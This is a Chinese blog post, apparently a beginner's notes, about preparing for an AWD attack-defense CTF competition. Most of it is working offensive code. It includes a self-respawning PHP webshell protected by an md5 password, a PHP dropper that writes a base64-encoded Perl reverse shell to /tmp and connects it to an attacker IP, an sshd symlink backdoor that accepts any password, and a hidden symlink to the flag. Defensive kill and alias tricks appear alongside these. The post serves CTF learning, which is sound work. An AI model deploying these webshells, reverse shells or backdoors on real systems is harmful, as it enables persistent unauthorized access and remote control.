赛前
记录一下,菜鸟第一次打AWD的经历,可能会对跟我一样的小白们有些帮助。
比赛之前,先记录一下学的东西。感谢(@Sn0w)学长搭建的AWD靶场给我们。
基础知识网上有好多,就不写了。
不死马的利用与删除
首先学习的就是不死马,因为它比较经典吧。
密码为md5加密过的为m0re666,然后传参。
假设已经传上不死马。
首先,利用方式为,先访问一下,一般是upload文件夹有上传权限,所以一般放这里
访问http://xxx.xxx.xxx.xxx:/upload/header.php
访问执行后,不死马开始起作用了,直接访问http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system(‘cat /flag’);
得到flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。
变种不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2018-12-01 09:10:12" .login.php');
file_put_contents($file1,$code);
usleep(5000);
}
?>
#passwd=m0re666&m0re=system('cat /flag');
这个变种的,它的不同点在文件名,是-开头的,这里介绍一下这个比较骚的知识点。
-开头的文件名,因为在Linux命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开docker进行尝试。
杀不死马
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
条件竞争杀不死马
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname, $text) {
if($fp = @fopen($fname, 'w')) {
@fputs($fp, @base64_decode($text));
@fclose($fp);
}
}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
使用方法也是很简单,将shell文件上传至可访问的地方
开启nc监听
nc -l -vv [port]#这里是1024,可以自己设置
然后访问该文件,就成功反弹shell
效果如下:
然后记个小tip:美化终端,不过还是别花时间做这个了,虽然就一条命令。
python -c "import pty; pty.spawn('/bin/bash')"
小 Trick: 使用 find / -name *flag*
或 grep -rn "flag" *
类似的语句可以快速发现 flag 所在的地方,方便后续拿分。
软链接
可以创建个软链接,链接到根目录下flag
ln -s /flag /var/www/html/upload/footer.js
这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的upload文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。
然后直接cat upload文件夹下的footer.js就可以得到flag
也可以直接访问upload/footer.js得到flag如下:
第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个flag链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。
ssh免密登录(未尝试)
在终端执行此命令,然后可以实现ssh免密登陆
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
连接:ssh root@x.x.x.x -p 5555
密码随意。
其他
alias命令,命令文档。
怎么说,就是看利用方式
root权限怎么会没权限?别人进来也无法cat到flag,当然还可以使用其他办法查看。
还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。
crontab -r
alias crontab="echo no crontab for `whoami` ||"
#返回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
主机发现
比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此需要首先利用nmap、httpscan等扫描工具发现其他队伍的IP。
nmap:
nmap –sn 192.168.71.0/24
httpscan
./httpscan.py 10.20.30.0/24 –t 10
修改curl命令
alias curl='echo fuckoff' #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降权,取消执行权限(权限要求较高)
关闭不必要端口
netstat -napt 查看当前网络连接状态
lsof -i 用以显示符合条件的进程情况
lsof -i:22 查看22端口现在运行什么程序
kill -9 <PID> 杀掉进程
nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)
批量提交flag的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。
赛后
吐槽:真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。
赛题复现
dump下来html源码,使用D盾扫描
发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如fock炸弹等……
接下来就是Seay源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。
然后根据漏洞进行验证就可以了。
总结
AWD的话,我是负责攻击,防御交给队友,其实面对新手的小型比赛,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的,这次比赛,过程很懵,我以为不同队伍是C段不同而已,结果是==emmmm,估计是开的docker,服了。
如果,批量没实现,就尝试一个个的传马吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。emmm,目前我收集到的东西就这么多,比较适合盲目百度而不知道从何下手的新手。请师傅们轻点喷。
- 本文链接:https://m0re.top/posts/f2e254f8/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances